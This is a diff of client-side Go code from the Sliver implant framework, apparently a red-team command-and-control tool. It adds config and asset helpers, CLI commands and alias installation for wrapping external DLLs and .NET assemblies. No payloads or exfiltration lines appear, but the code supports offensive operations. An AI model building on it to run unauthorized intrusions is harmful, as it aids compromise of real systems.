print(INFO+"Build successful, start with %sdocker run -it sliver:latest%s" % (BOLD, NORM))
print(INFO+"Remember you'll need to manually forward network ports")
def main(args):
""" Execute the respective task(s) based on cli args """
@@ -74,7 +97,7 @@ if __name__ == '__main__':
action='store_true')
parser.add_argument('--rm-all', '-rma',
help='rm all containers, imagaes, and volumes',
help='rm all containers, images, and volumes',
dest='rm_all',
action='store_true')
parser.add_argument('--rm-containers', '-rmc',
+7 -3
View File
@@ -1,14 +1,18 @@
Client
=======
This directory contains the client implenetation.
This directory contains the client implementation, pretty much all of this code is also used by the server console.
__Important:__ No code in this directory can import any code from `server/`.
* `assets/` - Static asset files and management code (e.g. client configs)
* `command/` - Command implementations
* `cli/` - Command line interface implementation
* `command/` - Console command implementations
* `constants/` - Various shared constant values
* `core/` - Client state management
* `help/` - Console help
* `licenses/` - Open source licenses
* `spin/` - Console spinner library
* `tcpproxy/` - Local TCP proxy listener code
* `transport/` - Wires the client to the server
* `version/` - Version information
* `main.go` - Entrypoint
+1
View File
@@ -0,0 +1 @@
fs/**
+65
View File
@@ -0,0 +1,65 @@
package assets
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"io/ioutil"
"log"
"os"
"path/filepath"
)
const (
AliasesDirName = "aliases"
)
// GetAliasesDir - Returns the path to the config dir
func GetAliasesDir() string {
rootDir, _ := filepath.Abs(GetRootAppDir())
dir := filepath.Join(rootDir, AliasesDirName)
if _, err := os.Stat(dir); os.IsNotExist(err) {
err = os.MkdirAll(dir, 0700)
if err != nil {
log.Fatal(err)
}
}
return dir
}
// GetInstalledAliasManifests - Returns a list of installed alias manifests
func GetInstalledAliasManifests() []string {
aliasDir := GetAliasesDir()
aliasDirContent, err := ioutil.ReadDir(aliasDir)
if err != nil {
log.Printf("error loading aliases: %s", err)
return []string{}
}
manifests := []string{}
for _, fi := range aliasDirContent {
if fi.IsDir() {
manifestPath := filepath.Join(aliasDir, fi.Name(), "alias.json")
if _, err := os.Stat(manifestPath); os.IsNotExist(err) {
log.Printf("no manifest in %s, skipping ...", manifestPath)
continue
}
manifests = append(manifests, manifestPath)
}
}
return manifests
}
+87
View File
@@ -0,0 +1,87 @@
package assets
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"encoding/json"
"io/ioutil"
"log"
"os"
"os/exec"
"path/filepath"
)
const (
armoryConfigFileName = "armories.json"
)
var (
// DefaultArmoryPublicKey - The default public key for the armory
DefaultArmoryPublicKey string
// DefaultArmoryRepoURL - The default repo url for the armory
DefaultArmoryRepoURL string
defaultArmoryConfig = &ArmoryConfig{
PublicKey: DefaultArmoryPublicKey,
RepoURL: DefaultArmoryRepoURL,
}
)
// ArmoryConfig - The armory config file
type ArmoryConfig struct {
PublicKey string `json:"public_key"`
RepoURL string `json:"repo_url"`
Authorization string `json:"authorization"`
AuthorizationCmd string `json:"authorization_cmd"`
}
// GetArmoriesConfig - The parsed armory config file
func GetArmoriesConfig() []*ArmoryConfig {
armoryConfigPath := filepath.Join(GetRootAppDir(), armoryConfigFileName)
if _, err := os.Stat(armoryConfigPath); os.IsNotExist(err) {
return []*ArmoryConfig{defaultArmoryConfig}
}
data, err := ioutil.ReadFile(armoryConfigPath)
if err != nil {
return []*ArmoryConfig{defaultArmoryConfig}
}
var armoryConfigs []*ArmoryConfig
err = json.Unmarshal(data, &armoryConfigs)
if err != nil {
return []*ArmoryConfig{defaultArmoryConfig}
}
for _, armoryConfig := range armoryConfigs {
if armoryConfig.AuthorizationCmd != "" {
armoryConfig.Authorization = executeAuthorizationCmd(armoryConfig)
}
}
return append(armoryConfigs, defaultArmoryConfig)
}
func executeAuthorizationCmd(armoryConfig *ArmoryConfig) string {
if armoryConfig.AuthorizationCmd == "" {
return ""
}
out, err := exec.Command(armoryConfig.AuthorizationCmd).CombinedOutput()
if err != nil {
log.Printf("Failed to execute authorization_cmd '%s': %v", armoryConfig.AuthorizationCmd, err)
return ""
}
return string(out)
}
+64 -3
View File
@@ -1,26 +1,87 @@
package assets
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"fmt"
"io/ioutil"
"log"
"os"
"os/user"
"path"
"path/filepath"
"strings"
ver "github.com/bishopfox/sliver/client/version"
)
const (
// SliverClientDirName - Directory storing all of the client configs/logs
SliverClientDirName = ".sliver-client"
versionFileName = "version"
)
// GetRootAppDir - Get the Sliver app dir ~/.sliver-client/
func GetRootAppDir() string {
user, _ := user.Current()
dir := path.Join(user.HomeDir, SliverClientDirName)
dir := filepath.Join(user.HomeDir, SliverClientDirName)
if _, err := os.Stat(dir); os.IsNotExist(err) {
err = os.MkdirAll(dir, os.ModePerm)
err = os.MkdirAll(dir, 0700)
if err != nil {
log.Fatal(err)
}
}
return dir
}
func assetVersion() string {
appDir := GetRootAppDir()
data, err := ioutil.ReadFile(filepath.Join(appDir, versionFileName))
if err != nil {
return ""
}
return strings.TrimSpace(string(data))
}
func saveAssetVersion(appDir string) {
versionFilePath := filepath.Join(appDir, versionFileName)
fVer, _ := os.Create(versionFilePath)
defer fVer.Close()
fVer.Write([]byte(ver.GitCommit))
}
// Setup - Extract or create local assets
func Setup(force bool, echo bool) {
appDir := GetRootAppDir()
localVer := assetVersion()
if force || localVer == "" || localVer != ver.GitCommit {
if echo {
fmt.Printf(`
Sliver Copyright (C) 2022 Bishop Fox
This program comes with ABSOLUTELY NO WARRANTY; for details type 'licenses'.
This is free software, and you are welcome to redistribute it
under certain conditions; type 'licenses' for details.`)
fmt.Printf("\n\nUnpacking assets ...\n")
}
saveAssetVersion(appDir)
}
if _, err := os.Stat(filepath.Join(appDir, settingsFileName)); os.IsNotExist(err) {
SaveSettings(nil)
}
}
+28 -7
View File
@@ -1,6 +1,25 @@
package assets
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"crypto/sha256"
"encoding/json"
"errors"
"fmt"
@@ -21,6 +40,7 @@ type ClientConfig struct {
Operator string `json:"operator"` // This value is actually ignored for the most part (cert CN is used instead)
LHost string `json:"lhost"`
LPort int `json:"lport"`
Token string `json:"token"`
CACertificate string `json:"ca_certificate"`
PrivateKey string `json:"private_key"`
Certificate string `json:"certificate"`
@@ -29,9 +49,9 @@ type ClientConfig struct {
// GetConfigDir - Returns the path to the config dir
func GetConfigDir() string {
rootDir, _ := filepath.Abs(GetRootAppDir())
dir := path.Join(rootDir, ConfigDirName)
dir := filepath.Join(rootDir, ConfigDirName)
if _, err := os.Stat(dir); os.IsNotExist(err) {
err = os.MkdirAll(dir, os.ModePerm)
err = os.MkdirAll(dir, 0700)
if err != nil {
log.Fatal(err)
}
@@ -57,7 +77,8 @@ func GetConfigs() map[string]*ClientConfig {
if err != nil {
continue
}
confs[conf.LHost] = conf
digest := sha256.Sum256([]byte(conf.Certificate))
confs[fmt.Sprintf("%s@%s (%x)", conf.Operator, conf.LHost, digest[:8])] = conf
}
return confs
}
@@ -65,11 +86,11 @@ func GetConfigs() map[string]*ClientConfig {
// ReadConfig - Load config into struct
func ReadConfig(confFilePath string) (*ClientConfig, error) {
confFile, err := os.Open(confFilePath)
defer confFile.Close()
if err != nil {
log.Printf("Open failed %v", err)
return nil, err
}
defer confFile.Close()
data, err := ioutil.ReadAll(confFile)
if err != nil {
log.Printf("Read failed %v", err)
@@ -87,13 +108,13 @@ func ReadConfig(confFilePath string) (*ClientConfig, error) {
// SaveConfig - Save a config to disk
func SaveConfig(config *ClientConfig) error {
if config.LHost == "" || config.Operator == "" {
return errors.New("Empty config")
return errors.New("empty config")
}
configDir := GetConfigDir()
filename := fmt.Sprintf("%s_%s.cfg", filepath.Base(config.Operator), filepath.Base(config.LHost))
saveTo, _ := filepath.Abs(path.Join(configDir, filename))
saveTo, _ := filepath.Abs(filepath.Join(configDir, filename))
configJSON, _ := json.Marshal(config)
err := ioutil.WriteFile(saveTo, configJSON, 0644)
err := ioutil.WriteFile(saveTo, configJSON, 0600)
if err != nil {
log.Printf("Failed to write config to: %s (%v)", saveTo, err)
return err
+66
View File
@@ -0,0 +1,66 @@
package assets
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"io/ioutil"
"log"
"os"
"path/filepath"
)
const (
// ExtensionsDirName - Directory storing the client side extensions
ExtensionsDirName = "extensions"
)
// GetExtensionsDir - Get the Sliver extension directory: ~/.sliver-client/extensions
func GetExtensionsDir() string {
rootDir, _ := filepath.Abs(GetRootAppDir())
dir := filepath.Join(rootDir, ExtensionsDirName)
if _, err := os.Stat(dir); os.IsNotExist(err) {
err = os.MkdirAll(dir, 0700)
if err != nil {
log.Fatal(err)
}
}
return dir
}
// GetInstalledExtensionManifests - Returns a list of installed extension manifests
func GetInstalledExtensionManifests() []string {
extDir := GetExtensionsDir()
extDirContent, err := ioutil.ReadDir(extDir)
if err != nil {
log.Printf("error loading aliases: %s", err)
return []string{}
}
manifests := []string{}
for _, fi := range extDirContent {
if fi.IsDir() {
manifestPath := filepath.Join(extDir, fi.Name(), "extension.json")
if _, err := os.Stat(manifestPath); os.IsNotExist(err) {
log.Printf("no manifest in %s, skipping ...", manifestPath)
continue
}
manifests = append(manifests, manifestPath)
}
}
return manifests
}
+79
View File
@@ -0,0 +1,79 @@
package assets
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"encoding/json"
"io/ioutil"
"path/filepath"
)
const (
settingsFileName = "tui-settings.json"
)
// ClientSettings - Client JSON config
type ClientSettings struct {
TableStyle string `json:"tables"`
AutoAdult bool `json:"autoadult"`
BeaconAutoResults bool `json:"beacon_autoresults"`
SmallTermWidth int `json:"small_term_width"`
AlwaysOverflow bool `json:"always_overflow"`
VimMode bool `json:"vim_mode"`
}
// LoadSettings - Load the client settings from disk
func LoadSettings() (*ClientSettings, error) {
rootDir, _ := filepath.Abs(GetRootAppDir())
data, err := ioutil.ReadFile(filepath.Join(rootDir, settingsFileName))
if err != nil {
return defaultSettings(), err
}
settings := defaultSettings()
err = json.Unmarshal(data, settings)
if err != nil {
return defaultSettings(), err
}
return settings, nil
}
func defaultSettings() *ClientSettings {
return &ClientSettings{
TableStyle: "SliverDefault",
AutoAdult: false,
BeaconAutoResults: true,
SmallTermWidth: 170,
AlwaysOverflow: false,
VimMode: false,
}
}
// SaveSettings - Save the current settings to disk
func SaveSettings(settings *ClientSettings) error {
rootDir, _ := filepath.Abs(GetRootAppDir())
if settings == nil {
settings = defaultSettings()
}
data, err := json.MarshalIndent(settings, "", " ")
if err != nil {
return err
}
err = ioutil.WriteFile(filepath.Join(rootDir, settingsFileName), data, 0600)
return err
}
+4
View File
@@ -0,0 +1,4 @@
CLI
===
This package implements the Sliver client cli.
+109
View File
@@ -0,0 +1,109 @@
package cli
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"fmt"
"log"
"os"
"path"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/transport"
"github.com/bishopfox/sliver/client/version"
"github.com/spf13/cobra"
)
const (
logFileName = "sliver-client.log"
)
var (
sliverServerVersion = fmt.Sprintf("v%s", version.FullVersion())
)
// Initialize logging
func initLogging(appDir string) *os.File {
log.SetFlags(log.LstdFlags | log.Lshortfile)
logFile, err := os.OpenFile(path.Join(appDir, logFileName), os.O_RDWR|os.O_CREATE|os.O_APPEND, 0600)
if err != nil {
panic(fmt.Sprintf("[!] Error opening file: %s", err))
}
log.SetOutput(logFile)
return logFile
}
func init() {
// Import
rootCmd.AddCommand(cmdImport)
// Version
rootCmd.AddCommand(cmdVersion)
}
var rootCmd = &cobra.Command{
Use: "sliver-client",
Short: "",
Long: ``,
Run: func(cmd *cobra.Command, args []string) {
appDir := assets.GetRootAppDir()
logFile := initLogging(appDir)
defer logFile.Close()
os.Args = os.Args[:1] // Stops grumble from complaining
err := StartClientConsole()
if err != nil {
fmt.Printf("[!] %s\n", err)
}
},
}
// StartClientConsole - Start the client console
func StartClientConsole() error {
configs := assets.GetConfigs()
if len(configs) == 0 {
fmt.Printf("No config files found at %s (see --help)\n", assets.GetConfigDir())
return nil
}
config := selectConfig()
if config == nil {
return nil
}
fmt.Printf("Connecting to %s:%d ...\n", config.LHost, config.LPort)
rpc, ln, err := transport.MTLSConnect(config)
if err != nil {
fmt.Printf("Connection to server failed %s", err)
return nil
}
defer ln.Close()
return console.Start(rpc, command.BindCommands, func(con *console.SliverConsoleClient) {}, false)
}
// Execute - Execute root command
func Execute() {
if err := rootCmd.Execute(); err != nil {
fmt.Println(err)
os.Exit(1)
}
}
+73
View File
@@ -0,0 +1,73 @@
package cli
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"fmt"
"sort"
"github.com/bishopfox/sliver/client/assets"
"gopkg.in/AlecAivazis/survey.v1"
)
func selectConfig() *assets.ClientConfig {
configs := assets.GetConfigs()
if len(configs) == 0 {
return nil
}
if len(configs) == 1 {
for _, config := range configs {
return config
}
}
answer := struct{ Config string }{}
qs := getPromptForConfigs(configs)
err := survey.Ask(qs, &answer)
if err != nil {
fmt.Println(err.Error())
return nil
}
return configs[answer.Config]
}
func getPromptForConfigs(configs map[string]*assets.ClientConfig) []*survey.Question {
keys := []string{}
for k := range configs {
keys = append(keys, k)
}
sort.Strings(keys)
return []*survey.Question{
{
Name: "config",
Prompt: &survey.Select{
Message: "Select a server:",
Options: keys,
Default: keys[0],
},
},
}
}
+47
View File
@@ -0,0 +1,47 @@
package cli
/*
Sliver Implant Framework
Copyright (C) 2020 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"fmt"
"os"
"github.com/bishopfox/sliver/client/assets"
"github.com/spf13/cobra"
)
var cmdImport = &cobra.Command{
Use: "import",
Short: "Import a client configuration file",
Long: `import [config files]`,
Run: func(cmd *cobra.Command, args []string) {
if 0 < len(args) {
for _, arg := range args {
conf, err := assets.ReadConfig(arg)
if err != nil {
fmt.Printf("[!] %s\n", err)
os.Exit(3)
}
assets.SaveConfig(conf)
}
} else {
fmt.Printf("Missing config file path, see --help")
}
},
}
+35
View File
@@ -0,0 +1,35 @@
package cli
/*
Sliver Implant Framework
Copyright (C) 2020 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"fmt"
"github.com/bishopfox/sliver/client/version"
"github.com/spf13/cobra"
)
var cmdVersion = &cobra.Command{
Use: "version",
Short: "Print version and exit",
Long: ``,
Run: func(cmd *cobra.Command, args []string) {
fmt.Printf("%s\n", version.FullVersion())
},
}
+10
View File
@@ -2,3 +2,13 @@ Command
=======
This package contains all of the client command implementations that are shared between the client and the server console.
### Developers
General guidance on the structure of this package:
* One command per file and the name of the file should reflect the command it implements (or there about, trivial commands can go into the same file). This makes it easy to find where a command implementation lives within a package or to search by file name if it is not clear which package implements a given command.
* The root command, and reused code should go into the file named after the command
* For example, code shared between the `generate` and the `regenerate` command should go in `generate.go`, and any `regenerate` specific code should go in `regenerate.go`
* Command entrypoint functions should have the suffix `Cmd` e.g., `GenerateCmd` is the entrypoint for `generate`
* Command entrypoints should always a function signature of `func (ctx *grumble.Context, con *console.SliverConsoleClient)`
* Functions that are only ever exported for other commands to use should go in a `helpers.go`, if the function is used internally and exported follow the guidance above on shared code.
+11
View File
@@ -0,0 +1,11 @@
Alias
===========
Wraps external DLLs/tool in Sliver console commands.
### Format
* `alias-dir/`
* * `manifest.json` -
+126
View File
@@ -0,0 +1,126 @@
package alias
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"encoding/json"
"fmt"
"io/ioutil"
"strings"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/jedib0t/go-pretty/v6/text"
)
// AliasesCmd - The alias command
func AliasesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if 0 < len(loadedAliases) {
PrintAliases(con)
} else {
con.PrintInfof("No aliases installed, use the 'armory' command to automatically install some\n")
}
}
// PrintAliases - Print a list of loaded aliases
func PrintAliases(con *console.SliverConsoleClient) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"Name",
"Command Name",
"Platforms",
"Version",
"Installed",
".NET Assembly",
"Reflective",
"Tool Author",
"Repository",
})
tw.SortBy([]table.SortBy{
{Name: "Name", Mode: table.Asc},
})
tw.SetColumnConfigs([]table.ColumnConfig{
{Number: 5, Align: text.AlignCenter},
})
installedManifests := getInstalledManifests()
for _, aliasPkg := range loadedAliases {
installed := ""
if _, ok := installedManifests[aliasPkg.Manifest.CommandName]; ok {
installed = "✅"
}
tw.AppendRow(table.Row{
aliasPkg.Manifest.Name,
aliasPkg.Manifest.CommandName,
strings.Join(aliasPlatforms(aliasPkg.Manifest), ",\n"),
aliasPkg.Manifest.Version,
installed,
aliasPkg.Manifest.IsAssembly,
aliasPkg.Manifest.IsReflective,
aliasPkg.Manifest.OriginalAuthor,
aliasPkg.Manifest.RepoURL,
})
}
con.Println(tw.Render())
}
// AliasCommandNameCompleter - Completer for installed extensions command names
func AliasCommandNameCompleter(prefix string, args []string, con *console.SliverConsoleClient) []string {
results := []string{}
for name := range loadedAliases {
if strings.HasPrefix(name, prefix) {
results = append(results, name)
}
}
return results
}
func aliasPlatforms(aliasPkg *AliasManifest) []string {
platforms := map[string]string{}
for _, entry := range aliasPkg.Files {
platforms[fmt.Sprintf("%s/%s", entry.OS, entry.Arch)] = ""
}
keys := []string{}
for key := range platforms {
keys = append(keys, key)
}
return keys
}
func getInstalledManifests() map[string]*AliasManifest {
manifestPaths := assets.GetInstalledAliasManifests()
installedManifests := map[string]*AliasManifest{}
for _, manifestPath := range manifestPaths {
data, err := ioutil.ReadFile(manifestPath)
if err != nil {
continue
}
manifest := &AliasManifest{}
err = json.Unmarshal(data, manifest)
if err != nil {
continue
}
installedManifests[manifest.CommandName] = manifest
}
return installedManifests
}
+90
View File
@@ -0,0 +1,90 @@
package alias
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import "testing"
const (
sample1 = `{
"name": "test1",
"command_name": "test1",
"version": "1.0.0",
"repo_url": "https://example.com/",
"help": "some help",
"entrypoint": "foo",
"allow_args": true,
"default_args": "bar",
"is_reflective": true,
"is_assembly": true,
"files": [
{
"os": "windows",
"arch": "amd64",
"path": "foo/test1.dll"
}
]
}`
)
func TestParseAliasManifest(t *testing.T) {
alias1, err := ParseAliasManifest([]byte(sample1))
if err != nil {
t.Errorf("Error parsing alias manifest: %s", err)
}
if alias1.Name != "test1" {
t.Errorf("Expected name to be 'test1', got '%s'", alias1.Name)
}
if alias1.CommandName != "test1" {
t.Errorf("Expected command_name to be 'test1', got '%s'", alias1.CommandName)
}
if alias1.Version != "1.0.0" {
t.Errorf("Expected version to be '1.0.0', got '%s'", alias1.Version)
}
if alias1.RepoURL != "https://example.com/" {
t.Errorf("Expected repo_url to be 'https://example.com/', got '%s'", alias1.RepoURL)
}
if alias1.Help != "some help" {
t.Errorf("Expected help to be 'some help', got '%s'", alias1.Help)
}
if alias1.Entrypoint != "foo" {
t.Errorf("Expected entrypoint to be 'foo', got '%s'", alias1.Entrypoint)
}
if !alias1.AllowArgs {
t.Errorf("Expected allow_args to be true, got false")
}
if alias1.DefaultArgs != "bar" {
t.Errorf("Expected default_args to be 'bar', got '%s'", alias1.DefaultArgs)
}
if !alias1.IsReflective {
t.Errorf("Expected is_reflective to be true, got false")
}
if !alias1.IsAssembly {
t.Errorf("Expected is_assembly to be true, got false")
}
}
+178
View File
@@ -0,0 +1,178 @@
package alias
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"fmt"
"io/ioutil"
"os"
"path/filepath"
"strings"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/util"
"github.com/desertbit/grumble"
)
// AliasesInstallCmd - Install an alias
func AliasesInstallCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
aliasLocalPath := ctx.Args.String("path")
fi, err := os.Stat(aliasLocalPath)
if os.IsNotExist(err) {
con.PrintErrorf("Extension path '%s' does not exist", aliasLocalPath)
return
}
if !fi.IsDir() {
InstallFromFile(aliasLocalPath, false, con)
} else {
installFromDir(aliasLocalPath, con)
}
}
// Install an extension from a directory
func installFromDir(aliasLocalPath string, con *console.SliverConsoleClient) {
manifestData, err := ioutil.ReadFile(filepath.Join(aliasLocalPath, ManifestFileName))
if err != nil {
con.PrintErrorf("Error reading %s: %s", ManifestFileName, err)
return
}
manifest, err := ParseAliasManifest(manifestData)
if err != nil {
con.PrintErrorf("Error parsing %s: %s", ManifestFileName, err)
return
}
installPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(manifest.CommandName))
if _, err := os.Stat(installPath); !os.IsNotExist(err) {
con.PrintInfof("Alias '%s' already exists", manifest.CommandName)
confirm := false
prompt := &survey.Confirm{Message: "Overwrite current install?"}
survey.AskOne(prompt, &confirm)
if !confirm {
return
}
forceRemoveAll(installPath)
}
con.PrintInfof("Installing alias '%s' (%s) ... ", manifest.Name, manifest.Version)
err = os.MkdirAll(installPath, 0o700)
if err != nil {
con.PrintErrorf("\nError creating alias directory: %s\n", err)
return
}
err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
if err != nil {
con.PrintErrorf("\nFailed to write %s: %s\n", ManifestFileName, err)
forceRemoveAll(installPath)
return
}
for _, cmdFile := range manifest.Files {
if cmdFile.Path != "" {
src := filepath.Join(aliasLocalPath, util.ResolvePath(cmdFile.Path))
dst := filepath.Join(installPath, util.ResolvePath(cmdFile.Path))
err := util.CopyFile(src, dst)
if err != nil {
con.PrintErrorf("\nError copying file '%s' -> '%s': %s\n", src, dst, err)
forceRemoveAll(installPath)
return
}
}
}
con.Printf("done!\n")
}
// Install an extension from a .tar.gz file
func InstallFromFile(aliasGzFilePath string, autoOverwrite bool, con *console.SliverConsoleClient) *string {
manifestData, err := util.ReadFileFromTarGz(aliasGzFilePath, fmt.Sprintf("./%s", ManifestFileName))
if err != nil {
con.PrintErrorf("Failed to read %s from '%s': %s\n", ManifestFileName, aliasGzFilePath, err)
return nil
}
manifest, err := ParseAliasManifest(manifestData)
if err != nil {
con.PrintErrorf("Failed to parse %s: %s\n", ManifestFileName, err)
return nil
}
installPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(manifest.CommandName))
if _, err := os.Stat(installPath); !os.IsNotExist(err) {
if !autoOverwrite {
con.PrintInfof("Alias '%s' already exists\n", manifest.CommandName)
confirm := false
prompt := &survey.Confirm{Message: "Overwrite current install?"}
survey.AskOne(prompt, &confirm)
if !confirm {
return nil
}
}
forceRemoveAll(installPath)
}
con.PrintInfof("Installing alias '%s' (%s) ... ", manifest.Name, manifest.Version)
err = os.MkdirAll(installPath, 0o700)
if err != nil {
con.PrintErrorf("\nFailed to create alias directory: %s\n", err)
return nil
}
err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
if err != nil {
con.PrintErrorf("\nFailed to write %s: %s\n", ManifestFileName, err)
forceRemoveAll(installPath)
return nil
}
for _, aliasFile := range manifest.Files {
if aliasFile.Path != "" {
err := installArtifact(aliasGzFilePath, installPath, aliasFile.Path, con)
if err != nil {
con.PrintErrorf("\nFailed to install file: %s\n", err)
forceRemoveAll(installPath)
return nil
}
}
}
con.Printf("done!\n")
return &installPath
}
func installArtifact(aliasGzFilePath string, installPath, artifactPath string, con *console.SliverConsoleClient) error {
data, err := util.ReadFileFromTarGz(aliasGzFilePath, fmt.Sprintf("./%s", strings.TrimPrefix(artifactPath, "/")))
if err != nil {
return err
}
if len(data) == 0 {
return fmt.Errorf("empty file %s", artifactPath)
}
localArtifactPath := filepath.Join(installPath, util.ResolvePath(artifactPath))
artifactDir := filepath.Dir(localArtifactPath)
if _, err := os.Stat(artifactDir); os.IsNotExist(err) {
os.MkdirAll(artifactDir, 0o700)
}
err = ioutil.WriteFile(localArtifactPath, data, 0o600)
if err != nil {
return err
}
return nil
}
func forceRemoveAll(rootPath string) {
util.ChmodR(rootPath, 0o600, 0o700)
os.RemoveAll(rootPath)
}
+476
View File
@@ -0,0 +1,476 @@
package alias
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
